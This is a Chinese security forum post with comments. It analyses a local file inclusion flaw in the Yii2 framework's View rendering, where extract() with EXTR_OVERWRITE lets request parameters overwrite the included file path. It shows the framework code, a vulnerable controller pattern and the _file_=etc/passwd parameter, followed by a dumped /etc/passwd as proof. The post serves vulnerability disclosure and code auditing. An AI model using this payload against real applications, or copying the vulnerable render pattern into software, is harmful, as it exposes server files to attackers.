

## 框架介绍

Yii框架是一个通用的WEB编程框架，其代码简洁优雅，具有性能高，易于扩展等优点，在国内国内均具有庞大的使用群体。

## 漏洞介绍

首先需要说明的时候，这个漏洞不具备黑盒测试通用性，只有开发者利用yii所编写的应用存在某种用法，才有可能导致触发，但是对代码安全审计人员是一个很好的漏洞挖掘点。

由于控制器（Controller）向模板（View）注入变量的时候，采取了`extract($_params_, EXTR_OVERWRITE)`的模式，导致后面包含模板文件操作的`$_file_`变量可以在某些条件下任意覆盖，从而导致任意本地文件包含漏洞，严重可以导致在某些低php版本下触发任意命令执行。

## 漏洞详情

问题出现在 `framework/base/View.php`:

```
public function renderPhpFile($_file_, $_params_ = [])
{
    $_obInitialLevel_ = ob_get_level();
    ob_start();
    ob_implicit_flush(false);
    extract($_params_, EXTR_OVERWRITE); //overwrite ██████████ l4yn3
    try {
        require $_file_; //████require $_file_████████████████ l4yn3
        return ob_get_clean();
    } catch (\Exception $e) {
        while (ob_get_level() > $_obInitialLevel_) {
            if (!@ob_end_clean()) {
                ob_clean();
            }
        }
        throw $e;
    } catch (\Throwable $e) {
        while (ob_get_level() > $_obInitialLevel_) {
            if (!@ob_end_clean()) {
                ob_clean();
            }
        }
        throw $e;
    }
}
```

这个方法当中存在任意变量覆盖问题，如果`$_param_`这个变量我们能控制，就能覆盖掉下面的`$_file_`变量。

跟进这个方法的调用链，发现同一个文件的`renderFile($viewFile, $params = [], $context = null)`方法调用了这个方法：

```
public function renderFile($viewFile, $params = [], $context = null)
{
    $viewFile = $requestedFile = Yii::getAlias($viewFile);

    if ($this->theme !== null) {
        $viewFile = $this->theme->applyTo($viewFile);
    }
    if (is_file($viewFile)) {
        $viewFile = FileHelper::localize($viewFile);
    } else {
        throw new ViewNotFoundException("The view file does not exist: $viewFile");
    }

    $oldContext = $this->context;
    if ($context !== null) {
        $this->context = $context;
    }
    $output = '';
    $this->_viewFiles[] = [
```

```

        'resolved' => $viewFile,
        'requested' => $requestedFile
    ];

    if ($this->beforeRender($viewFile, $params)) {
        Yii::debug("Rendering view file: $viewFile", __METHOD__);
        $ext = pathinfo($viewFile, PATHINFO_EXTENSION);
        if (isset($this->renderers[$ext])) {
            if (is_array($this->renderers[$ext]) || is_string($this->renderers[$ext])) {
                $this->renderers[$ext] = Yii::createObject($this->renderers[$ext]);
            }
            /* @var $renderer ViewRenderer */
            $renderer = $this->renderers[$ext];
            $output = $renderer->render($this, $viewFile, $params);
        } else {
            $output = $this->renderPhpFile($viewFile, $params);    //■■■■■■■■■■l4yn3
        }
        $this->afterRender($viewFile, $params, $output);
    }

    array_pop($this->_viewFiles);
    $this->context = $oldContext;

    return $output;
}

```

继续跟进，发现同样文件View.php的render()方法调用了上面的renderFile()方法，就此漏洞调用链出现。

```
render($view, $params = [], $context = null)
```

■■■

```
renderFile($viewFile, $params = [], $context = null)
```

■■■

```
renderPhpFile($_file_, $_params_ = [])    //■■■■■
```

render(\$view, \$params = [], \$context = null)这个方法是Yii的Controller用来渲染视图的方法，也就是说我们只要控制了render()方法的\$params变量，就完成了漏洞利用。

到此这个漏洞发展成了一个和 [《codeigniter框架内核设计缺陷可能导致任意代码执行》](#) 一样的漏洞。

## 漏洞利用

存在漏洞的写法如下：

```

public function actionIndex()
{
    $data = Yii::$app->request->get();
    return $this->render('index', $data);
}

```

这种情况下我们可以传递\_file\_=etc/passwd来覆盖掉require \$\_file\_;从而造成任意文件包含漏洞。

```
## # User Database ## Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is
provided by # Open Directory. ## See the opendirectoryd(8) man page for additional information about # Open Directory. ##
nobody:2:2:Unprivileged User:/var/empty:/usr/bin/false root:0:0:System Administrator:/var/root:/bin/sh daemon:1:1:System
Services:/var/root:/usr/bin/false _uucp:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:13:13:Task Gate
Daemon:/var/empty:/usr/bin/false _networkd:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:25:25:Install
Assistant:/var/empty:/usr/bin/false _lp:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:27:27:Postfix Mail
Server:/var/spool/postfix:/usr/bin/false _scsd:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:32:32:Certificate Enrollment
Service:/var/empty:/usr/bin/false _mcxalr:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:55:55:AppleEvents
Daemon:/var/empty:/usr/bin/false _geod:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _serialnumberd:58:58:Serial Number
Daemon:/var/empty:/usr/bin/false _devdocs:59:59:Developer Documentation:/var/empty:/usr/bin/false
_sandbox:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:67:67:Apple Remote
Desktop:/var/empty:/usr/bin/false _www:70:70:World Wide Web Server/Library/WebServer:/usr/bin/false _epcc:71:71:Apple Events
User:/var/empty:/usr/bin/false _cvs:72:72:CVS Server:/var/empty:/usr/bin/false _svn:73:73:SVN Server:/var/empty:/usr/bin/false
_mysql:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:76:76:QuickTime
Streaming Server:/var/empty:/usr/bin/false _cyrus:77:77:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:78:78:Mailman List
Server:/var/empty:/usr/bin/false _appserver:79:79:Application Server:/var/empty:/usr/bin/false _clamav:82:82:ClamAV
Daemon:/var/virusmails:/usr/bin/false _amavisd:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:84:84:Jabber XMPP
Server:/var/empty:/usr/bin/false _appowner:87:87:Application Owner:/var/empty:/usr/bin/false
_windowserver:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:89:89:Spotlight:/var/empty:/usr/bin/false _token:91:91:Token
Daemon:/var/empty:/usr/bin/false _securityagent:92:92:SecurityAgent:/var/empty:/usr/bin/false _calendar:93:93:Calendar:/var/empty:/usr/bin/false
_teamsserver:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:95:95:Update Sharing:/var/empty:/usr/bin/false
_installer:96:96:Installer:/var/empty:/usr/bin/false _atsserver:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:98:98:FTP
Daemon:/var/empty:/usr/bin/false _unknown:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:200:200:Software Update
Service:/var/empty:/usr/bin/false _coreaudioid:202:202:Core Audio Daemon:/var/empty:/usr/bin/false
_screensaver:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:205:205:Location Daemon:/var/db/locationd:/usr/bin/false
_trustevaluationagent:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false
_lda:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:213:213:iPhone
OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:214:214:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:215:215:DP
Audio:/var/empty:/usr/bin/false _postgres:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:217:217:Kerberos Ticket Granting
Ticket:/var/empty:/usr/bin/false _kadmin_admin:218:218:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:219:219:Kerberos
Change Password Service:/var/empty:/usr/bin/false _devicemgr:220:220:Device Management Server:/var/empty:/usr/bin/false
_webauthserver:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:224:224:Warm
Daemon:/var/empty:/usr/bin/false _dovenull:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:228:228:Network Statistics
Daemon:/var/empty:/usr/bin/false _avbdeviced:229:229:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:230:230:Open Directory
Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:231:231:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false
_krb_changepw:232:232:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:233:233:Open Directory
Kerberos:/var/empty:/usr/bin/false _krb_anonymous:234:234:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false
_assetcache:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false
_xcsbuildagent:237:237:Xcode Server Build Agent:/var/empty:/usr/bin/false _xcscredserver:238:238:Xcode Server Credential
Server:/var/empty:/usr/bin/false _launchservicesd:239:239:_launchservicesd:/var/empty:/usr/bin/false
```

最后

这个漏洞已经提交给了Yii官方。希望这篇文章能够帮助甲方用到Yii框架的代码审计人员，避免由这个问题造成严重的安全漏洞。

点击收藏 | 4 关注 | 2

[上一篇：BugBounty：Twitter... 下一篇：XMLDecoder解析流程分析](#)

1. 6 条评论



0c\*\*\*\* 2019-05-08 12:13:27

Yii Version 2.0.18 貌似已经修复了

0 回复Ta

---



[Oc\\*\\*\\*\\*](#) 2019-05-08 12:17:21

没修...

0 回复Ta

---



[Oc\\*\\*\\*\\*](#) 2019-05-08 18:25:40

生产上找了一圈 没有找到可以利用的点 影响还是有限...

0 回复Ta

---



[水泡泡](#) 2019-05-09 11:34:07

Tp, CI有这个问题, 现在Yii2也来了。

0 回复Ta

---



[Hulk](#) 2019-05-09 16:55:13

学习

0 回复Ta



[postma\\*\\*\\*\\*@lanme](#) 2019-05-11 15:43:45

[@水泡泡](#) tp5 和tp6现在还有新漏洞？

0 回复Ta

---

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)